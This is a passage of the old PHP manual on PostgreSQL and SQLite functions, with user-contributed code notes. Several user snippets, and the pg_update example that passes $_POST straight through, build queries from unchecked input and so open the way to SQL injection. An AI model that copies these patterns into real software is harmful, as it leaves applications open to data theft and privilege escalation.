muralito at montevideo dot com dot uy 17-Mar-2011 05:10
The workaround is to configure a property in the postgres database for the user, to make postgres behave as the old default.

ALTER USER username SET bytea_output = 'escape';

(or using the pgadmin interface)
liviu dot mirea at gmail dot com 15-Oct-2010 10:06
PostgreSQL 9.0 introduced "hex" as the new default format for encoding binary data. Because "pg_unescape_bytea" only works with the old "escape" format, you need to do pg_query('SET bytea_output = "escape";'); before executing your select queries.

More details can be found here: http://www.postgresql.org/docs/9.0/static/datatype-binary.html
tiagopastorello at gmail dot com 30-Jun-2008 12:31
<?php
$conexao = pg_connect("host=localhost dbname=name user=postgres password=123456") or die('Sorry =( : ' . pg_last_error());

$cod= $_GET['cod'];

$sql = "SELECT * FROM table WHERE cod_field = '$cod'";
$quer = pg_query($conexao, $sql);

$reg = pg_fetch_object($query);

print pg_unescape_bytea($reg -> field_bytea);

?>
pg_tty
pg_untrace
PostgreSQL Functions


Disable tracing of a PostgreSQL connection

pg_unescape_bytea
pg_update
PostgreSQL Functions
PHP Manual

pg_untrace

(PHP 4 >= 4.0.1, PHP 5)

pg_untrace — Disable tracing of a PostgreSQL connection

Description

bool pg_untrace ([ resource $connection ] )

Stop tracing started by pg_trace().

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Return Values

Always returns TRUE.

Examples

Example #1 pg_untrace() example

<?php
$pgsql_conn = pg_connect("dbname=mark host=localhost");

if ($pgsql_conn) {
   pg_trace('/tmp/trace.log', 'w', $pgsql_conn);
   pg_query("SELECT 1");
   pg_untrace($pgsql_conn);
   // Now tracing of backend communication is disabled
} else {
   print pg_last_error($pgsql_conn);
   exit;
}
?>

See Also

  • pg_trace() - Enable tracing a PostgreSQL connection

User Contributed Notes

There are no user contributed notes for this page.
pg_unescape_bytea
pg_update
PostgreSQL Functions


Update table

pg_untrace
pg_version
PostgreSQL Functions
PHP Manual

pg_update

(PHP 4 >= 4.3.0, PHP 5)

pg_update — Update table

Description

mixed pg_update ( resource $connection , string $table_name , array $data , array $condition [, int $options = PGSQL_DML_EXEC ] )

pg_update() updates records that matches condition with data. If options is specified, pg_convert() is applied to data with specified options.

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

connection

PostgreSQL database connection resource.

table_name

Name of the table into which to update rows.

data

An array whose keys are field names in the table table_name, and whose values are what matched rows are to be updated to.

condition

An array whose keys are field names in the table table_name, and whose values are the conditions that a row must meet to be updated.

options

Any number of PGSQL_CONV_OPTS, PGSQL_DML_NO_CONV, PGSQL_DML_EXEC or PGSQL_DML_STRING combined. If PGSQL_DML_STRING is part of the options then query string is returned.

Return Values

Returns TRUE on success or FALSE on failure. Returns string if PGSQL_DML_STRING is passed via options.

Examples

Example #1 pg_update() example

<?php
  $db = pg_connect('dbname=foo');
  $data = array('field1'=>'AA', 'field2'=>'BB');

  // This is safe, since $_POST is converted automatically
  $res = pg_update($db, 'post_log', $_POST, $data);
  if ($res) {
      echo "Data is updated: $res\n";
  } else {
      echo "User must have sent wrong inputs\n";
  }
?>

See Also

  • pg_convert() - Convert associative array values into suitable for SQL statement

User Contributed Notes

dominik dot bonsch at homesono dot de 25-Jan-2008 01:24
Using pg_update() and pg_insert() without key validation is not secure!

You need to check which data pairs you get, and if you want to allow to updated this column.

Example:

You have a table with tree colums: username, password, userlevel.

Your users may change only their username, and their password but not their userlevel.

If you don't filter the keys in the request array, every user can now change his userlevel just by sending a POST Request with "userlevel=>100".

So if you don't check if the key are allowed in your request array you'll get serious sql injection vulnarabilities in your code.
jhooks 13-Apr-2006 07:54
> Return Values
>
> Returns TRUE on success or FALSE on failure. Returns string if
> PGSQL_DML_STRING is passed via options.

I have found in my copy of PHP (version 4.4.0) that if you use the 'PGSQL_DML_STRING' option, the function does not execute any query.  It merely returns the query which would have been executed.

Another thing I noticed, pg_update does not seem to make use of pg_trace (atleast in 4.4.0).

PS this isn't a bug report, just an explanation of some undocumented features I noticed.  As the manual says, the function is still in development so this behaviour may differ from version to version.
sdibb at myway dot com 14-Jun-2005 07:26
This function is similar to PEAR::DB's autoExecute() function, with the only difference being that the where clause is an array instead of a string.

Also, if you want to use your instance of the DB class with this function, you can reference the existing resource connection with $db->connection.

An example would be:
<?
     pg_update($db->connection, $arr_update, $arr_where);
?>
pg_untrace
pg_version
PostgreSQL Functions


Returns an array with client, protocol and server version (when available)

pg_update
SQLite
PostgreSQL Functions
PHP Manual

pg_version

(PHP 5)

pg_version — Returns an array with client, protocol and server version (when available)

Description

array pg_version ([ resource $connection ] )

pg_version() returns an array with the client, protocol and server version. Protocol and server versions are only available if PHP was compiled with PostgreSQL 7.4 or later.

For more detailed server information, use pg_parameter_status().

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Return Values

Returns an array with client, protocol and server keys and values (if available). Returns FALSE on error or invalid connection.

Examples

Example #1 pg_version() example

<?php
  $dbconn = pg_connect("host=localhost port=5432 dbname=mary")
     or die("Could not connect");

  $v = pg_version($dbconn);

  echo $v['client'];
?>

The above example will output:

7.4

See Also

  • pg_parameter_status() - Looks up a current parameter setting of the server.

User Contributed Notes

There are no user contributed notes for this page.
pg_update
SQLite
PostgreSQL Functions


SQLite

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • SQLite Functions
    • sqlite_array_query — Execute a query against a given database and returns an array
    • sqlite_busy_timeout — Set busy timeout duration, or disable busy handlers
    • sqlite_changes — Returns the number of rows that were changed by the most recent SQL statement
    • sqlite_close — Closes an open SQLite database
    • sqlite_column — Fetches a column from the current row of a result set
    • sqlite_create_aggregate — Register an aggregating UDF for use in SQL statements
    • sqlite_create_function — Registers a "regular" User Defined Function for use in SQL statements
    • sqlite_current — Fetches the current row from a result set as an array
    • sqlite_error_string — Returns the textual description of an error code
    • sqlite_escape_string — Escapes a string for use as a query parameter
    • sqlite_exec — Executes a result-less query against a given database
    • sqlite_factory — Opens an SQLite database and returns an SQLiteDatabase object
    • sqlite_fetch_all — Fetches all rows from a result set as an array of arrays
    • sqlite_fetch_array — Fetches the next row from a result set as an array
    • sqlite_fetch_column_types — Return an array of column types from a particular table
    • sqlite_fetch_object — Fetches the next row from a result set as an object
    • sqlite_fetch_single — Fetches the first column of a result set as a string
    • sqlite_fetch_string — Alias of sqlite_fetch_single
    • sqlite_field_name — Returns the name of a particular field
    • sqlite_has_more — Finds whether or not more rows are available
    • sqlite_has_prev — Returns whether or not a previous row is available
    • sqlite_key — Returns the current row index
    • sqlite_last_error — Returns the error code of the last error for a database
    • sqlite_last_insert_rowid — Returns the rowid of the most recently inserted row
    • sqlite_libencoding — Returns the encoding of the linked SQLite library
    • sqlite_libversion — Returns the version of the linked SQLite library
    • sqlite_next — Seek to the next row number
    • sqlite_num_fields — Returns the number of fields in a result set
    • sqlite_num_rows — Returns the number of rows in a buffered result set
    • sqlite_open — Opens an SQLite database and create the database if it does not exist
    • sqlite_popen — Opens a persistent handle to an SQLite database and create the database if it does not exist
    • sqlite_prev — Seek to the previous row number of a result set
    • sqlite_query — Executes a query against a given database and returns a result handle
    • sqlite_rewind — Seek to the first row number
    • sqlite_seek — Seek to a particular row number of a buffered result set
    • sqlite_single_query — Executes a query and returns either an array for one single column or the value of the first row
    • sqlite_udf_decode_binary — Decode binary data passed as parameters to an UDF
    • sqlite_udf_encode_binary — Encode binary data before returning it from an UDF
    • sqlite_unbuffered_query — Execute a query that does not prefetch and buffer all data
    • sqlite_valid — Returns whether more rows are available

User Contributed Notes

nosdudefr at gmail dot com 06-May-2011 03:34
Regarding  the table creation you can optimize this code a bit by using the built in " CREATE TABLE IF NOT EXISTS <tablename>". This will let the table creation decision to the sqlite engine.

Then, if i may, your code could be something like :

<?php
    if ($db = new SQLiteDatabase('filename')) {
// first let the engine check table, and create it eventualy
           $q = @$db->query('CREATE TABLE IF NOT EXISTS tablename (id int, requests int, PRIMARY KEY (id))';

//the rest of the code, according error checks etc
// ...

?>

For more "tweaks" feel free to look at sqlite language ref : http://www.sqlite.org/lang_createtable.html

Have fun with this powerfull&simple engine :)
Anonymous 24-Jul-2010 04:12
As of July 2010, there are two ways to use SQLite from PHP:
- procedural: sqlite (=sqlite2), sqlite3
- object-oriented: SQLite3, PDO
Andrew Paul Dickey 11-Jun-2009 09:43
If you intend to implement 2.x releases of SQLite with your development you are in the right place, as this library is suitable for use with your application (reference http://us.php.net/manual/en/book.sqlite.php).

If you intend to use SQLite 3.x releases of SQLite with your development please refer to the section on PHP Data Objects, and specifically the PDO-SQLite implementation available at(references: http://us.php.net/manual/en/book.pdo.php , http://au2.php.net/manual/en/ref.pdo-sqlite.php).

It is my hope that this post will save both new users and experienced developers time during their initial or a new implementation of PHP & SQLite by encouraging them to use the appropriate libraries.
saivert at saivert dot com 30-Apr-2008 12:02
How to open a database, create a table if it doesn't exist and inserting initial value.

<?php
    if ($db = new SQLiteDatabase('filename')) {
        $q = @$db->query('SELECT requests FROM tablename WHERE id = 1');
        if ($q === false) {
            $db->queryExec('CREATE TABLE tablename (id int, requests int, PRIMARY KEY (id)); INSERT INTO tablename VALUES (1,1)');
            $hits = 1;
        } else {
            $result = $q->fetchSingle();
            $hits = $result+1;
        }
        $db->queryExec("UPDATE tablename SET requests = '$hits' WHERE id = 1");
    } else {
        die($err);
    }
?>

Use this as boilerplate code for any new project using SQLite.
pg_version
Introduction
Vendor Specific Database Extensions


Introduction

This is an extension for the SQLite Embeddable SQL Database Engine. SQLite is a C library that implements an embeddable SQL database engine. Programs that link with the SQLite library can have SQL database access without running a separate RDBMS process.

SQLite is not a client library used to connect to a big database server. SQLite is the server. The SQLite library reads and writes directly to and from the database files on disk.

Note:

For further information see the SQLite Website (» http://sqlite.org/).

User Contributed Notes

There are no user contributed notes for this page.
SQLite
Installing/Configuring
SQLite


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
SQLite


Requirements

The SQLite extension is enabled by default as of PHP 5.0. Beginning with PHP 5.4, the SQLite extension is available only via PECL.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Since PHP 5.0 this extension was bundled with PHP. Beginning with PHP 5.4, this extension is available only via PECL.

Windows users must enable php_sqlite.dll inside of php.ini in order to use these functions. A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

Windows builds must also enable PDO because as of PHP 5.1.0 it depends on it. So, php.ini will end up with something like this:

extension=php_pdo.dll
extension=php_sqlite.dll
On Linux or Unix operating systems, if you build PDO as a shared extension, you must build SQLite as a shared extension using the --with-sqlite=shared configure option.

The PHP 5.0.x series of Windows builds enabled this extension by default, where no DLL file is necessary.

SQLite 3 is supported through PDO SQLite.

Note: Windows installation for unprivileged accounts

On Windows operating systems, unprivileged accounts don't have the TMP environment variable set by default. This will make sqlite create temporary files in the windows directory, which is not desirable. So, you should set the TMP environment variable for the web server or the user account the web server is running under. If Apache is your web server, you can accomplish this via a SetEnv directive in your httpd.conf file. For example:

SetEnv TMP c:/temp
If you are unable to establish this setting at the server level, you can implement the setting in your script:
<?php
putenv('TMP=C:/temp');
?>
The setting must refer to a directory that the web server has permission to create files in and subsequently write to and delete the files it created. Otherwise, you may receive the following error message: malformed database schema - unable to open a temporary database file for storing temporary tables

User Contributed Notes

Otto Monnig omonnig [at] gmail [dot] com 22-Oct-2010 03:57
In a CentOS 5 default installation, SQLite requires the pdo, sqlite and
pdo_sqlite extensions, which are not installed.  The previous note was very
helpful, but needed some additions:

- get your source version from the historical releases page

        http://www.php.net/releases/

- repeat the compile process below for pdo, sqlite and pdo-sqlite extensions,
  (gcc is required and may have to be installed)

    tar xvf php-your.version.here.tar.gz
    cd php-your.version.here/ext/sqlite/
    phpize
    ./configure
    make
    make install

- create file /etc/php.d/sqlite.ini:

    ; Enable sqlite extension module
    extension=pdo.so
    extension=sqlite.so
    extension=pdo_sqlite.so

- [restart apache] service httpd restart

- search phpinfo(); for 'sqlite' to verify correct installation\
thomas.zangerl [ at ]-NOSPAM-freenet.de 22-Feb-2010 06:57
CentOS 5.4's and probably Fedora's php5 packages are compiled without SQLite support.

While the PECL build did not work for me (version mismatch?) it helped to get the PHP source from

http://php.net/downloads.php

and just compile the SQLite module by doing

tar xfvj php-5.2.12.tar.bz2
cd php-5.2.12/ext/sqlite/
phpize
./configure
make
make install
[restart apache]

Make sure to have php-devel/php5-dev installed and to get the PHP version matching your installed PHP from the download page.
Probably this will require a rebuild when updating the php-packages on CentOS but currently there are unfortunately no good alternatives.
askroot at gmail dot com 07-Apr-2009 09:55
RedHat Enterprise Linux 5 or CentOS 5 sqlite extension install

Super User - root
shell> mkdir temp
shell> cd temp
shell> wget http://pecl.php.net/get/SQLite-1.0.3.tgz
shell> tar zxvf SQLite-1.0.3.tgz
shell> cd SQLite-1.0.3

sqlite.c patch

--- sqlite.c.orig       2004-07-18 19:23:18.000000000 +0900
+++ sqlite.c    2009-04-08 01:39:40.000000000 +0900
@@ -53,7 +53,9 @@
 extern int sqlite_encode_binary(const unsigned char *in, int n, unsigned char *out);
 extern int sqlite_decode_binary(const unsigned char *in, unsigned char *out);

+/*
 static unsigned char arg3_force_ref[] = {3, BYREF_NONE, BYREF_NONE, BYREF_FORCE };
+*/

 static int le_sqlite_db, le_sqlite_result, le_sqlite_pdb;

@@ -122,8 +124,8 @@
 enum { PHPSQLITE_ASSOC = 1, PHPSQLITE_NUM = 2, PHPSQLITE_BOTH = PHPSQLITE_ASSOC|PHPSQLITE_NUM };

 function_entry sqlite_functions[] = {
-       PHP_FE(sqlite_open, arg3_force_ref)
-       PHP_FE(sqlite_popen, arg3_force_ref)
+       PHP_FE(sqlite_open, third_arg_force_ref)
+       PHP_FE(sqlite_popen, third_arg_force_ref)
        PHP_FE(sqlite_close, NULL)
        PHP_FE(sqlite_query, NULL)
        PHP_FE(sqlite_exec, NULL)

shell> phpize
shell> ./configure
shell> make && make install
shell> ls -l /usr/lib/php/modules/sqlite.so
-rwxr-xr-x 1 root root 871225 Apr  7 18:07 /usr/lib/php/modules/sqlite.so
shell> cd /etc/php.d
shell> vi sqlite.ini
; Enable sqlite extension module
extension=sqlite.so
:wq

Web Server Restart

phpinfo.php
<?php
phpinfo();
?>

sqlite
SQLite support enabled
PECL Module version  1.0.3 $Id: sqlite.c,v 1.62.2.25 2004/07/10 12:25:33 wez Exp $
SQLite Library  2.8.14
SQLite Encoding  iso8859

Directive Local Value Master Value
sqlite.assoc_case 0 0
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

SQLite Configure Options
Name | Default | Changeable | Changelog
sqlite.assoc_case | "0" | PHP_INI_ALL | Available since PHP 5.0.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

sqlite.assoc_case int

Whether to use mixed case (0), upper case (1) or lower case (2) hash indexes.

This option is primarily useful when you need compatibility with other database systems, where the names of the columns are always returned as uppercase or lowercase, regardless of the case of the actual field names in the database schema.

The SQLite library returns the column names in their natural case (that matches the case you used in your schema). When sqlite.assoc_case is set to 0 the natural case will be preserved. When it is set to 1 or 2, PHP will apply case folding on the hash keys to upper- or lower-case the keys, respectively.

Use of this option incurs a slight performance penalty, but is MUCH faster than performing the case folding yourself using PHP script.

User Contributed Notes

S dot Kien at online dot de 21-Jul-2009 02:55
Note, that it is not enought to grant write access to the SQLite database file. Because SQLite creates a journal file in the directory, the database is located. For that reason write acces to this directory is needed as well.

If no write access to the directory is allowed, it is already posible to open database and read data, but first write operation (INSERT,UPDATE, DELETE, CREATE xxx,..) results in error "unable to open database file" (even though the database file already opened for reading...)
Installation
Resource Types
Installing/Configuring


Resource Types

There are two resources used in the SQLite Interface. The first one is the database connection, the second one the result set.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

The functions sqlite_fetch_array() and sqlite_current() use a constant for the different types of result arrays. The following constants are defined:

SQLite result type constants
SQLITE_ASSOC (int)
Columns are returned into the array having the field name as the array index.
SQLITE_BOTH (int)
Columns are returned into the array having both a numerical index and the field name as the array index.
SQLITE_NUM (int)
Columns are returned into the array having a numerical index to the fields. This index starts with 0, the first field in the result.

A number of functions may return status codes. The following constants are defined:

SQLite status code constants
SQLITE_OK (int)
Successful result.
SQLITE_ERROR (int)
SQL error or missing database.
SQLITE_INTERNAL (int)
An internal logic error in SQLite.
SQLITE_PERM (int)
Access permission denied.
SQLITE_ABORT (int)
Callback routine requested an abort.
SQLITE_BUSY (int)
The database file is locked.
SQLITE_LOCKED (int)
A table in the database is locked.
SQLITE_NOMEM (int)
Memory allocation failed.
SQLITE_READONLY (int)
Attempt to write a readonly database.
SQLITE_INTERRUPT (int)
Operation terminated internally.
SQLITE_IOERR (int)
Disk I/O error occurred.
SQLITE_NOTADB (int)
File opened that is not a database file.
SQLITE_CORRUPT (int)
The database disk image is malformed.
SQLITE_FORMAT (int)
Auxiliary database format error.
SQLITE_NOTFOUND (int)
(Internal) Table or record not found.
SQLITE_FULL (int)
Insertion failed because database is full.
SQLITE_CANTOPEN (int)
Unable to open the database file.
SQLITE_PROTOCOL (int)
Database lock protocol error.
SQLITE_EMPTY (int)
(Internal) Database table is empty.
SQLITE_SCHEMA (int)
The database schema changed.
SQLITE_TOOBIG (int)
Too much data for one row of a table.
SQLITE_CONSTRAINT (int)
Abort due to constraint violation.
SQLITE_MISMATCH (int)
Data type mismatch.
SQLITE_MISUSE (int)
Library used incorrectly.
SQLITE_NOLFS (int)
Uses of OS features not supported on host.
SQLITE_AUTH (int)
Authorized failed.
SQLITE_ROW (int)
Internal process has another row ready.
SQLITE_DONE (int)
Internal process has finished executing.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
SQLite Functions
SQLite


SQLite Functions

Predefined Classes

SQLiteDatabase

Represents an opened SQLite database.

Constructor

  • __construct - construct a new SQLiteDatabase object

Methods

  • query - Execute a query
  • queryExec - Execute a result-less query
  • arrayQuery - Execute a query and return the result as an array
  • singleQuery - Execute a query and return either an array for one single column or the value of the first row
  • unbufferedQuery - Execute an unbuffered query
  • lastInsertRowid - Returns the rowid of the most recently inserted row
  • changes - Returns the number of rows changed by the most recent statement
  • createAggregate - Register an aggregating UDF for use in SQL statements
  • createFunction - Register a UDF for use in SQL statements
  • busyTimeout - Sets or disables busy timeout duration
  • lastError - Returns the last error code of the most recently encountered error
  • fetchColumnTypes - Return an array of column types from a particular table

SQLiteResult

Represents a buffered SQLite result set.

Methods

  • fetch - Fetches the next row from the result set as an array
  • fetchObject - Fetches the next row from the result set as an object
  • fetchSingle - Fetches the first column from the result set as a string
  • fetchAll - Fetches all rows from the result set as an array of arrays
  • column - Fetches a column from the current row of the result set
  • numFields - Returns the number of fields in the result set
  • fieldName - Returns the name of a particular field in the result set
  • current - Fetches the current row from the result set as an array
  • key - Return the current row index
  • next - Seek to the next row number
  • valid - Returns whether more rows are available
  • rewind - Seek to the first row number of the result set
  • prev - Seek to the previous row number of the result set
  • hasPrev - Returns whether or not a previous row is available
  • numRows - Returns the number of rows in the result set
  • seek - Seek to a particular row number

SQLiteUnbuffered

Represents an unbuffered SQLite result set. Unbuffered results sets are sequential, forward-seeking only.

Methods

  • fetch - Fetches the next row from the result set as an array
  • fetchObject - Fetches the next row from the result set as an object
  • fetchSingle - Fetches the first column from the result set as a string
  • fetchAll - Fetches all rows from the result set as an array of arrays
  • column - Fetches a column from the current row of the result set
  • numFields - Returns the number of fields in the result set
  • fieldName - Returns the name of a particular field in the result set
  • current - Fetches the current row from the result set as an array
  • next - Seek to the next row number
  • valid - Returns whether more rows are available

Table of Contents

  • sqlite_array_query — Execute a query against a given database and returns an array
  • sqlite_busy_timeout — Set busy timeout duration, or disable busy handlers
  • sqlite_changes — Returns the number of rows that were changed by the most recent SQL statement
  • sqlite_close — Closes an open SQLite database
  • sqlite_column — Fetches a column from the current row of a result set
  • sqlite_create_aggregate — Register an aggregating UDF for use in SQL statements
  • sqlite_create_function — Registers a "regular" User Defined Function for use in SQL statements
  • sqlite_current — Fetches the current row from a result set as an array
  • sqlite_error_string — Returns the textual description of an error code
  • sqlite_escape_string — Escapes a string for use as a query parameter
  • sqlite_exec — Executes a result-less query against a given database
  • sqlite_factory — Opens an SQLite database and returns an SQLiteDatabase object
  • sqlite_fetch_all — Fetches all rows from a result set as an array of arrays
  • sqlite_fetch_array — Fetches the next row from a result set as an array
  • sqlite_fetch_column_types — Return an array of column types from a particular table
  • sqlite_fetch_object — Fetches the next row from a result set as an object
  • sqlite_fetch_single — Fetches the first column of a result set as a string
  • sqlite_fetch_string — Alias of sqlite_fetch_single
  • sqlite_field_name — Returns the name of a particular field
  • sqlite_has_more — Finds whether or not more rows are available
  • sqlite_has_prev — Returns whether or not a previous row is available
  • sqlite_key — Returns the current row index
  • sqlite_last_error — Returns the error code of the last error for a database
  • sqlite_last_insert_rowid — Returns the rowid of the most recently inserted row
  • sqlite_libencoding — Returns the encoding of the linked SQLite library
  • sqlite_libversion — Returns the version of the linked SQLite library
  • sqlite_next — Seek to the next row number
  • sqlite_num_fields — Returns the number of fields in a result set
  • sqlite_num_rows — Returns the number of rows in a buffered result set
  • sqlite_open — Opens an SQLite database and create the database if it does not exist
  • sqlite_popen — Opens a persistent handle to an SQLite database and create the database if it does not exist
  • sqlite_prev — Seek to the previous row number of a result set
  • sqlite_query — Executes a query against a given database and returns a result handle
  • sqlite_rewind — Seek to the first row number
  • sqlite_seek — Seek to a particular row number of a buffered result set
  • sqlite_single_query — Executes a query and returns either an array for one single column or the value of the first row
  • sqlite_udf_decode_binary — Decode binary data passed as parameters to an UDF
  • sqlite_udf_encode_binary — Encode binary data before returning it from an UDF
  • sqlite_unbuffered_query — Execute a query that does not prefetch and buffer all data
  • sqlite_valid — Returns whether more rows are available

User Contributed Notes

CraquePipe 16-Sep-2011 05:54
The SQLite manual mentions that queries are done in a case-sensitive way, this means your query must be the correct case. It also mentions that using the "LIKE" operator will do a case-insensitive selection. This is true, but this also introduces wildcard symbols which a user could enter without getting filtered by the SQLite escape function. I'm somewhat new to SQL and I didn't think of doing this before, even after looking for a decent way to do case-insensitive queries.

For case-insensitive queries, simply use the built in "lower" function.
<?php
// ...
$name = 'bARbarA';
$rows = $db->arrayQuery('select * from blah where lower(name) = lower(\''.sqlite_escape_string($name).'\');');
// $rows might contain an entry for "Barbara" now.
?>
iphone at kkk ccc sss dot gr 06-Dec-2009 10:35
a simplier way to find out if a table exists:

<?php
$db=sqlite_open('mydb.sqlite', 0666, $sqliteerror);
$query = sqlite_query($db, "SELECT name FROM sqlite_master WHERE type='table' and name='the_table_Im_looking_for'");
$totaltables = sqlite_num_rows($query);
    if ($totaltables<1){
/* table does not exist...create it or do something... */
}
else{
/* table exists...don't create again , do something else */
}
?>
vincent at tigroux dot net 10-Oct-2006 03:19
on win 32

the error "malformed database schema - unable to open a temporary database file for storing temporary tables" may happen if the temp and tmp env vars are typed like this : %WINDIR/Temp

Replace by C:/Windows/Temp and the error will disappear.
papafox888 at hotmail dot com 01-Jun-2006 09:05
If you get an error message:

     Warning: sqlite_open() [function.sqlite-open]: file is encrypted or is not a database

then most probably your code is accessing a SQLite3 database.

sqlite_open() only supports SQLite2.  Use PDO to access SQLite3.
Egon at example dot com 21-Feb-2006 05:15
<$php
public function set_by_db_with_join_to_users_department($col, $foo){
    $list = "da.ROWID, da.dept_id, da.script, da.action, da.description, ud.name";
    $query = "SELECT $list FROM dept_access AS da, users_department AS ud
        WHERE da.dept_id = ud.ROWID
        AND da.$col = '$foo';";

    $db = new SQLiteDatabase (dept_access::db_path, 0666, &$error)
        or die("Failed: $error");
    $db->queryExec("ATTACH DATABASE '".dept_access::db_users_path."' AS users");
    $row = $db->arrayQuery($query, SQLITE_ASSOC);
    unset($db);

echo $query."\n";
echo var_dump($row);
    $this->ROWID = $row[0]['da.ROWID'];
    $this->dept_id = $row[0]['da.dept_id'];
    $this->dept_name = $row[0]['ud.name'];
    $this->script = $row[0]['da.script'];
    $this->action = $row[0]['da.action'];
    $this->description = $row[0]['da.description'];
}
?>

For ATTACH DATABASE to work you need to run it in a $db->queryExec(ATTACH DATABASE...); before using $db->arrayQuery. This is most likly the case with other OO methods to. This on stumped me for a while.
heinemann.juergen AT t-online.de 11-Nov-2005 09:53
Simple Example for using SQLite for small Buffering Clipboard ;)

<?php

// $Id: SQLiteClipboard.php5,v 1.1 2005/09/09 10:15:26 heinemann Exp $

/**
 * @callgraph
 * @class      SQLiteClipboard
 * @short      Simple Read/Write Clipboard Class
 * @version    0.0.1
 * @since      Fr Sep  9 08:14:45 CEST 2005
 * @code
   $sqlite = new SQLiteClipboard( MY_TEMP_DIR );
   if ( $sqlite->INSERTING = time() )
      var_dump( $sqlite->INSERTING );
   else
      echo "Nothing done!";
 * @endcode
 */

final class SQLiteClipboard
{
   private $SQL;
   private $DB = "Clipboard.sqlite";
   private $TB = "Clipboard";
   private $ID = "ID";
   private $PA = "PARAM";
   private $VA = "VAL";

   function __construct( $path )
   {
      $this->DB = chop( $path . "/" . $this->DB );
      $this->sql_init();
   }

   private function sql_init()
   {
      $this->SQL = new SQLiteDatabase( $this->DB, 0660 );
      if ( ! file_exists( $this->DB ) )
         die( "Permission Denied!" );

      $q = $this->SQL->query("PRAGMA table_info(" . $this->TB . ")");
      if ( $q->numRows() == 0 ) {
         $this->SQL->query( "CREATE TABLE " . $this->TB . " ( " . $this->ID . " INTEGER PRIMARY KEY, " . $this->PA . " CHAR(255), " . $this->VA . " CHAR(255) );" );
      }
   }

   private function sql_check( $p )
   {
      $o = null;
      $q = $this->SQL->query( "SELECT " . $this->ID . " FROM " . $this->TB . " WHERE ( " . $this->PA . "='$p' ) ORDER BY " . $this->ID . " LIMIT 1" );
      while( $q->valid() ) {
         $r = $q->current();
         return $r[$this->ID];
         $q->next();
      }
      return false;
   }

   public function __get( $p )
   {
      $q = $this->SQL->query( "SELECT " . $this->VA . " FROM " . $this->TB . " WHERE ( " . $this->PA . "='$p' ) ORDER BY " . $this->ID );
      while( $q->valid() ) {
            $r = $q->current();
            $o = $r[$this->VA];
            $q->next();
      }
      return $o;
   }

   public function __set( $p, $v )
   {
      if ( $this->sql_check( $p ) && ! empty( $v ) )
         return $this->SQL->query( "UPDATE " . $this->TB . " SET " . $this->VA . "='$v' WHERE ( " . $this->PA . "='$p' );" );
      elseif  ( ! $this->sql_check( $p ) && ! empty( $v ) )
         return $this->SQL->query( "INSERT INTO " . $this->TB . " ( " . $this->PA . ", " . $this->VA . " ) VALUES ('$p', '$v' );" );
      elseif  ( $this->sql_check( $p ) && empty( $v ) )
         return $this->SQL->query( "DELETE FROM " . $this->TB . " WHERE ( " . $this->PA . "='$p' );" );
      else
         return false;
   }

} // end Class

?>
31-Aug-2005 04:21
A function to check whether a table exists:

<?php
function sqlite_table_exists(&$sqlite, $table)
{
    $result = $sqlite->query("SELECT name FROM sqlite_master WHERE type='table' AND name='$table'");
    return $result->numRows() > 0;
}
?>
bens at effortlessis dot com 14-Jul-2005 11:37
Sqlite by default allows for foreign keys, but doesn't enforce them.

I found a nice article on how to enforce foreign keys  at http://www.justatheory.com/computers/databases/sqlite/

It would be nice if this could be handled with a wrapper class, so that adding foreign keys is done thru a wrapper API to automate the generation of the necessary enforcement triggers. If nobody's done this by the time I start coding against SqlLite/PHP5 in 6-12 months, I'll write one myself, possibly by modifying "jon at jenseng dot com"s alter table wrapper

Anyway, it's not PHP specific, but anybody using Sqlite really should know this!
Stephen Leaf 30-Jun-2005 05:58
I think it would be good to point out that currently (as of 5.0.4) this extention does not support SQLite 3 databases.
So if your getting an error message like:
Error: file is encrypted or is not a database
That is why.
bart at mediawave dot nl 18-Apr-2005 07:30
SELECT tablename.columnname FROM table;

will cause SQLite to return an array having tablename.field_name as the array index. (e.g. $result['tablename.field_name'])

To let SQLite return an array having only field_name as the array index (e.g. $result['field_name']) you can issue a 'PRAGMA short_column_names = 1' query:

sqlite_query($connection_id, 'PRAGMA short_column_names = 1');

This behaviour is more consistent with the other database extensions.

For a full list of all pragmas visit: http://sqlite.org/pragma.html
dotwho at NOSPAM dot mac dot com 09-Feb-2005 06:03
This may have been obvious to others, but I had a tough time finding the info.

The default location for the actual database file is the same location of the php doc that created the database. You can alter this behavior by specifying the full path in the creation call:

<php
$db = sqlite_open("/absolute/path/my_sqlite.db");
?>

Note that if you used the default location, the db file may be served up by the webserver if it is in a the http document path. This is obviously a security risk that should be avoided.

//Max
hunreal+php at gmail dot com 16-Jan-2005 08:42
Check the db/table if exist

$db_name='db';
$db=new SQLiteDatabase($db_name, 0666, $error);
if ($error) exit($error);
$q=$db->query("PRAGMA table_info(test)");
if ($q->numRows()!=2) {
    if (!@$db->queryexec("
        CREATE TABLE test (
            id INTEGER NOT NULL PRIMARY KEY,
            text VARCHAR ( 255 ) NOT NULL
            )")
    ) exit ("Create SQLite Database Error\n");
}
nicolas dot toniazzi at free dot fr 16-Nov-2004 07:24
The same in 3 lines.

<?php
function sqlite_table_exists($db,$mytable) {
  /* counts the tables that match the name given */
  $result = sqlite_query($db,"SELECT COUNT(*) FROM sqlite_master WHERE type='table' AND name='$mytable'");

  /* casts into integer */
  $count = intval(sqlite_fetch_single($result));

  /* returns true or false */
  return $count > 0;
}
?>
alexs at alphacomolex dot info 28-Oct-2004 03:41
the OO version.
<?php
function sqlite_table_exists($db,$mytable) {
